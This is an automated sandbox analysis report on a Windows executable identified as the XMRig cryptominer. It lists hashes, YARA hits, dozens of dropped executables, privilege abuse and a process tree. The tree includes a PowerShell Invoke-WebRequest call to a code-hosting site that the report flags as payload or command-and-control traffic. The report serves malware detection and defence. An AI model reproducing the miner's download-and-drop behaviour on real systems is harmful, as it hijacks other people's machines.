xmrig | f742f2e4321c67d368303665ae15e8fa60a7a414dd9c154046ae5bfe9369cdca

Analysis

max time kernel
93s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07-05-2024 20:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

308c7798972df8e53a24d346f91d7a40_NEIKI.exe
Size

2.0MB
MD5

308c7798972df8e53a24d346f91d7a40
SHA1

ad5a1a28cddd04abc6901f67b7c6a72931189746
SHA256

f742f2e4321c67d368303665ae15e8fa60a7a414dd9c154046ae5bfe9369cdca
SHA512

1a1a27adc9a9c2a4a12582b4be6c331d9986df4a6f6ea03dc19541af39da87f968155abb23809e461125b0f2f3a5b5a741f57c9a357a3bb4deff9ed020228a95
SSDEEP

49152:T1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrSax91MkibTIDiH3gPDwCj:T1ONtyBeSFkXV1etEKLlWUTOfeiRA2RS

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4372-0-0x00007FF7FDCA0000-0x00007FF7FE08D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023b97-7.dat	xmrig
behavioral2/files/0x000b000000023b95-10.dat	xmrig
behavioral2/files/0x000a000000023b98-37.dat	xmrig
behavioral2/files/0x000a000000023ba8-124.dat	xmrig
behavioral2/memory/4840-119-0x00007FF79B260000-0x00007FF79B64D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bb5-185.dat	xmrig
behavioral2/memory/1340-191-0x00007FF7F9250000-0x00007FF7F963D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bb4-189.dat	xmrig
behavioral2/files/0x000a000000023bc2-207.dat	xmrig
behavioral2/memory/4308-262-0x00007FF68F3B0000-0x00007FF68F79D000-memory.dmp	xmrig
behavioral2/memory/888-249-0x00007FF643C30000-0x00007FF64401D000-memory.dmp	xmrig
behavioral2/memory/1388-247-0x00007FF776300000-0x00007FF7766ED000-memory.dmp	xmrig
behavioral2/memory/4476-248-0x00007FF77F4E0000-0x00007FF77F8CD000-memory.dmp	xmrig
behavioral2/memory/1300-245-0x00007FF70ACE0000-0x00007FF70B0CD000-memory.dmp	xmrig
behavioral2/memory/1168-244-0x00007FF6E0420000-0x00007FF6E080D000-memory.dmp	xmrig
behavioral2/memory/1996-242-0x00007FF75E720000-0x00007FF75EB0D000-memory.dmp	xmrig
behavioral2/memory/1392-241-0x00007FF727010000-0x00007FF7273FD000-memory.dmp	xmrig
behavioral2/memory/3228-240-0x00007FF708CF0000-0x00007FF7090DD000-memory.dmp	xmrig
behavioral2/memory/2300-237-0x00007FF6DF360000-0x00007FF6DF74D000-memory.dmp	xmrig
behavioral2/memory/4624-236-0x00007FF7485C0000-0x00007FF7489AD000-memory.dmp	xmrig
behavioral2/memory/4720-235-0x00007FF6956D0000-0x00007FF695ABD000-memory.dmp	xmrig
behavioral2/memory/2260-234-0x00007FF6B1400000-0x00007FF6B17ED000-memory.dmp	xmrig
behavioral2/memory/3176-231-0x00007FF66CF50000-0x00007FF66D33D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bc1-206.dat	xmrig
behavioral2/files/0x000a000000023bc0-205.dat	xmrig
behavioral2/files/0x000a000000023bbf-204.dat	xmrig
behavioral2/files/0x0031000000023bbe-203.dat	xmrig
behavioral2/files/0x0031000000023bbd-202.dat	xmrig
behavioral2/files/0x0031000000023bbc-201.dat	xmrig
behavioral2/files/0x000a000000023bbb-200.dat	xmrig
behavioral2/files/0x000a000000023bba-199.dat	xmrig
behavioral2/files/0x000a000000023bb9-198.dat	xmrig
behavioral2/files/0x000a000000023bb8-197.dat	xmrig
behavioral2/memory/4376-187-0x00007FF6FF580000-0x00007FF6FF96D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bb6-186.dat	xmrig
behavioral2/files/0x000a000000023ba9-184.dat	xmrig
behavioral2/memory/2532-180-0x00007FF65F870000-0x00007FF65FC5D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023ba4-179.dat	xmrig
behavioral2/files/0x000a000000023bb3-177.dat	xmrig
behavioral2/memory/1880-172-0x00007FF6610C0000-0x00007FF6614AD000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bb2-171.dat	xmrig
behavioral2/files/0x000a000000023bb1-167.dat	xmrig
behavioral2/memory/2420-163-0x00007FF625940000-0x00007FF625D2D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bb0-162.dat	xmrig
behavioral2/files/0x000a000000023baf-156.dat	xmrig
behavioral2/memory/2984-148-0x00007FF7225F0000-0x00007FF7229DD000-memory.dmp	xmrig
behavioral2/files/0x000a000000023bae-147.dat	xmrig
behavioral2/files/0x000a000000023ba2-144.dat	xmrig
behavioral2/files/0x000a000000023bad-143.dat	xmrig
behavioral2/files/0x000a000000023bac-141.dat	xmrig
behavioral2/files/0x000a000000023bab-139.dat	xmrig
behavioral2/files/0x000a000000023ba5-128.dat	xmrig
behavioral2/files/0x000a000000023ba7-125.dat	xmrig
behavioral2/memory/2040-113-0x00007FF6438B0000-0x00007FF643C9D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023ba0-116.dat	xmrig
behavioral2/memory/2820-107-0x00007FF681230000-0x00007FF68161D000-memory.dmp	xmrig
behavioral2/files/0x000a000000023b9f-112.dat	xmrig
behavioral2/files/0x000a000000023b9d-96.dat	xmrig
behavioral2/memory/4756-89-0x00007FF755DE0000-0x00007FF7561CD000-memory.dmp	xmrig
behavioral2/files/0x000a000000023ba1-87.dat	xmrig
behavioral2/files/0x000a000000023b9a-83.dat	xmrig
behavioral2/files/0x000a000000023baa-134.dat	xmrig
behavioral2/memory/3948-73-0x00007FF77A1F0000-0x00007FF77A5DD000-memory.dmp	xmrig

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	3356	powershell.exe
10	3356	powershell.exe
12	3356	powershell.exe
13	3356	powershell.exe
15	3356	powershell.exe
20	3356	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3356	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4928	aYkdQvz.exe
532	WzJgjZw.exe
436	EqnFusr.exe
3508	WIyoWnS.exe
4380	rSAnCSZ.exe
2584	oHrDPlw.exe
2204	csYEXiY.exe
2924	enudFZF.exe
4624	zvynjkX.exe
2820	OsJsuik.exe
4840	RjswbsE.exe
4756	JmPwjVY.exe
2984	tZIlBmI.exe
3948	HoDYTGK.exe
2040	GobSgOG.exe
2532	oSxTaje.exe
4376	rlhVwGg.exe
3176	rHUxaQM.exe
1392	gXqPvFu.exe
3228	JrBZjAV.exe
2300	FJIkeGE.exe
4308	tNmdRxr.exe
2260	xJoeZaV.exe
888	mijEjgT.exe
1388	PbQgZZH.exe
4476	ozCkNsT.exe
2420	RjdhSMT.exe
4720	zlmABxN.exe
1880	WMqmGsJ.exe
968	OEfzONL.exe
1340	MdJLpeH.exe
1996	UtIVUkp.exe
1300	Qlufcgw.exe
1168	ECQMvVW.exe
4992	NJZHBBo.exe
1896	JQTSkLr.exe
4204	zJCmswx.exe
4032	RwUtpKc.exe
3748	SsBfUKF.exe
2004	nRrAVmo.exe
4524	feoffIX.exe
4716	AqnriAr.exe
1412	auvaBBs.exe
4044	NbWQkbI.exe
2664	lXCrbBx.exe
1548	pcuVokN.exe
4136	GKdVSLS.exe
3164	pCnNvTQ.exe
3128	pmLPTjz.exe
4944	pnkBjpJ.exe
4616	rfPxMUb.exe
1144	lOOqxUI.exe
3260	hHwUkgu.exe
3764	HpqRTQW.exe
2312	IIHHuxS.exe
4428	mlHNeek.exe
3840	aFeeQNf.exe
4548	gEgpXPD.exe
3116	emsJlHs.exe
2704	HOGupTE.exe
4144	ymbIafn.exe
1908	HGzojKt.exe
3232	OUxOpkw.exe
2592	QvSWsUY.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GZZEjfQ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\sWelehd.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\qSUamtv.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\JgOhhpL.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\EOfUBhi.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\WTwrauk.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\zKazFAV.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\CiUHLfP.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\bsWvXbX.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\dezhgQp.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\ZEgMfPc.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\biBHPFK.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\ylxNxkA.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\FIauZXJ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\wJZEtek.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\XAWHMtO.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\IDFlEPu.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\RfGsTKq.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\dBxjKjC.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\IQdakaC.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\MUmrtaI.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\CGFffhA.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\axLpYUq.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\VJsmWPJ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\rWPblUZ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\YjvJXSH.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\HLoBQAQ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\ZHVQkZD.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\BieDcKW.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\JHHAyUv.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\nJpYMpw.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\pObxZnT.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\nkEOjSM.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\mYnmIpe.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\jzGNVRC.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\COxNMMo.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\eVREHTJ.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\GVRYzyl.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\smsEBJw.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\SRcoddo.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\mycbKsn.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\sXPXIHW.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\DZHpMJp.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\QayBdrH.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\UaZvHPt.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\BPMNfoe.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\BEgPacV.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\rWsbvdg.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\dsizfgv.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\tNDLNOq.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\cVOqqUf.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\FyWLijr.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\idjqmnV.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\KfECAYN.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\AbufdBG.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\kncMVap.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\VxDIrDx.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\gxKvHSk.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\HCItFqW.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\dLCLVJW.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\HEcgMrN.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\YNgxIWg.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\lnRrVop.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
File created	C:\Windows\System\RiCiqwg.exe	308c7798972df8e53a24d346f91d7a40_NEIKI.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeLockMemoryPrivilege	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 3356	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	84
PID 4372 wrote to memory of 3356	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	84
PID 4372 wrote to memory of 4928	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	85
PID 4372 wrote to memory of 4928	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	85
PID 4372 wrote to memory of 436	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	86
PID 4372 wrote to memory of 436	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	86
PID 4372 wrote to memory of 532	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	87
PID 4372 wrote to memory of 532	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	87
PID 4372 wrote to memory of 3508	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	88
PID 4372 wrote to memory of 3508	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	88
PID 4372 wrote to memory of 2820	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	89
PID 4372 wrote to memory of 2820	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	89
PID 4372 wrote to memory of 4380	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	90
PID 4372 wrote to memory of 4380	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	90
PID 4372 wrote to memory of 2584	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	91
PID 4372 wrote to memory of 2584	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	91
PID 4372 wrote to memory of 2204	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	92
PID 4372 wrote to memory of 2204	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	92
PID 4372 wrote to memory of 2924	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	93
PID 4372 wrote to memory of 2924	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	93
PID 4372 wrote to memory of 4624	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	94
PID 4372 wrote to memory of 4624	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	94
PID 4372 wrote to memory of 2040	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	95
PID 4372 wrote to memory of 2040	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	95
PID 4372 wrote to memory of 4840	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	96
PID 4372 wrote to memory of 4840	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	96
PID 4372 wrote to memory of 4756	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	97
PID 4372 wrote to memory of 4756	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	97
PID 4372 wrote to memory of 2984	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	98
PID 4372 wrote to memory of 2984	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	98
PID 4372 wrote to memory of 3948	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	99
PID 4372 wrote to memory of 3948	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	99
PID 4372 wrote to memory of 2532	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	100
PID 4372 wrote to memory of 2532	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	100
PID 4372 wrote to memory of 4376	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	101
PID 4372 wrote to memory of 4376	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	101
PID 4372 wrote to memory of 3176	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	102
PID 4372 wrote to memory of 3176	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	102
PID 4372 wrote to memory of 3228	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	103
PID 4372 wrote to memory of 3228	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	103
PID 4372 wrote to memory of 1392	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	104
PID 4372 wrote to memory of 1392	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	104
PID 4372 wrote to memory of 1996	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	105
PID 4372 wrote to memory of 1996	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	105
PID 4372 wrote to memory of 2300	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	106
PID 4372 wrote to memory of 2300	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	106
PID 4372 wrote to memory of 4308	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	107
PID 4372 wrote to memory of 4308	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	107
PID 4372 wrote to memory of 2260	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	108
PID 4372 wrote to memory of 2260	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	108
PID 4372 wrote to memory of 888	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	109
PID 4372 wrote to memory of 888	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	109
PID 4372 wrote to memory of 1388	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	110
PID 4372 wrote to memory of 1388	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	110
PID 4372 wrote to memory of 4476	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	111
PID 4372 wrote to memory of 4476	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	111
PID 4372 wrote to memory of 2420	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	112
PID 4372 wrote to memory of 2420	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	112
PID 4372 wrote to memory of 4720	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	113
PID 4372 wrote to memory of 4720	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	113
PID 4372 wrote to memory of 1880	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	114
PID 4372 wrote to memory of 1880	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	114
PID 4372 wrote to memory of 968	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	115
PID 4372 wrote to memory of 968	4372	308c7798972df8e53a24d346f91d7a40_NEIKI.exe	115

C:\Users\Admin\AppData\Local\Temp\308c7798972df8e53a24d346f91d7a40_NEIKI.exe
"C:\Users\Admin\AppData\Local\Temp\308c7798972df8e53a24d346f91d7a40_NEIKI.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3356
- C:\Windows\System\aYkdQvz.exe
  C:\Windows\System\aYkdQvz.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\EqnFusr.exe
  C:\Windows\System\EqnFusr.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\WzJgjZw.exe
  C:\Windows\System\WzJgjZw.exe
  2⤵
  - Executes dropped EXE
  PID:532
- C:\Windows\System\WIyoWnS.exe
  C:\Windows\System\WIyoWnS.exe
  2⤵
  - Executes dropped EXE
  PID:3508
- C:\Windows\System\OsJsuik.exe
  C:\Windows\System\OsJsuik.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\rSAnCSZ.exe
  C:\Windows\System\rSAnCSZ.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\oHrDPlw.exe
  C:\Windows\System\oHrDPlw.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\csYEXiY.exe
  C:\Windows\System\csYEXiY.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\enudFZF.exe
  C:\Windows\System\enudFZF.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\zvynjkX.exe
  C:\Windows\System\zvynjkX.exe
  2⤵
  - Executes dropped EXE
  PID:4624
- C:\Windows\System\GobSgOG.exe
  C:\Windows\System\GobSgOG.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\RjswbsE.exe
  C:\Windows\System\RjswbsE.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\JmPwjVY.exe
  C:\Windows\System\JmPwjVY.exe
  2⤵
  - Executes dropped EXE
  PID:4756
- C:\Windows\System\tZIlBmI.exe
  C:\Windows\System\tZIlBmI.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\HoDYTGK.exe
  C:\Windows\System\HoDYTGK.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- C:\Windows\System\oSxTaje.exe
  C:\Windows\System\oSxTaje.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\rlhVwGg.exe
  C:\Windows\System\rlhVwGg.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Windows\System\rHUxaQM.exe
  C:\Windows\System\rHUxaQM.exe
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\System\JrBZjAV.exe
  C:\Windows\System\JrBZjAV.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\gXqPvFu.exe
  C:\Windows\System\gXqPvFu.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\UtIVUkp.exe
  C:\Windows\System\UtIVUkp.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\FJIkeGE.exe
  C:\Windows\System\FJIkeGE.exe
  2⤵
  - Executes dropped EXE
  PID:2300
- C:\Windows\System\tNmdRxr.exe
  C:\Windows\System\tNmdRxr.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\xJoeZaV.exe
  C:\Windows\System\xJoeZaV.exe
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Windows\System\mijEjgT.exe
  C:\Windows\System\mijEjgT.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\PbQgZZH.exe
  C:\Windows\System\PbQgZZH.exe
  2⤵
  - Executes dropped EXE
  PID:1388
- C:\Windows\System\ozCkNsT.exe
  C:\Windows\System\ozCkNsT.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\RjdhSMT.exe
  C:\Windows\System\RjdhSMT.exe
  2⤵
  - Executes dropped EXE
  PID:2420
- C:\Windows\System\zlmABxN.exe
  C:\Windows\System\zlmABxN.exe
  2⤵
  - Executes dropped EXE
  PID:4720
- C:\Windows\System\WMqmGsJ.exe
  C:\Windows\System\WMqmGsJ.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\OEfzONL.exe
  C:\Windows\System\OEfzONL.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\MdJLpeH.exe
  C:\Windows\System\MdJLpeH.exe
  2⤵
  - Executes dropped EXE
  PID:1340
- C:\Windows\System\Qlufcgw.exe
  C:\Windows\System\Qlufcgw.exe
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Windows\System\ECQMvVW.exe
  C:\Windows\System\ECQMvVW.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\pmLPTjz.exe
  C:\Windows\System\pmLPTjz.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\NJZHBBo.exe
  C:\Windows\System\NJZHBBo.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\JQTSkLr.exe
  C:\Windows\System\JQTSkLr.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\zJCmswx.exe
  C:\Windows\System\zJCmswx.exe
  2⤵
  - Executes dropped EXE
  PID:4204
- C:\Windows\System\RwUtpKc.exe
  C:\Windows\System\RwUtpKc.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\SsBfUKF.exe
  C:\Windows\System\SsBfUKF.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\nRrAVmo.exe
  C:\Windows\System\nRrAVmo.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\feoffIX.exe
  C:\Windows\System\feoffIX.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\AqnriAr.exe
  C:\Windows\System\AqnriAr.exe
  2⤵
  - Executes dropped EXE
  PID:4716
- C:\Windows\System\auvaBBs.exe
  C:\Windows\System\auvaBBs.exe
  2⤵
  - Executes dropped EXE
  PID:1412
- C:\Windows\System\NbWQkbI.exe
  C:\Windows\System\NbWQkbI.exe
  2⤵
  - Executes dropped EXE
  PID:4044
- C:\Windows\System\lXCrbBx.exe
  C:\Windows\System\lXCrbBx.exe
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Windows\System\pcuVokN.exe
  C:\Windows\System\pcuVokN.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\GKdVSLS.exe
  C:\Windows\System\GKdVSLS.exe
  2⤵
  - Executes dropped EXE
  PID:4136
- C:\Windows\System\pCnNvTQ.exe
  C:\Windows\System\pCnNvTQ.exe
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\Windows\System\pnkBjpJ.exe
  C:\Windows\System\pnkBjpJ.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\rfPxMUb.exe
  C:\Windows\System\rfPxMUb.exe
  2⤵
  - Executes dropped EXE
  PID:4616
- C:\Windows\System\lOOqxUI.exe
  C:\Windows\System\lOOqxUI.exe
  2⤵
  - Executes dropped EXE
  PID:1144
- C:\Windows\System\hHwUkgu.exe
  C:\Windows\System\hHwUkgu.exe
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Windows\System\HpqRTQW.exe
  C:\Windows\System\HpqRTQW.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\IIHHuxS.exe
  C:\Windows\System\IIHHuxS.exe
  2⤵
  - Executes dropped EXE
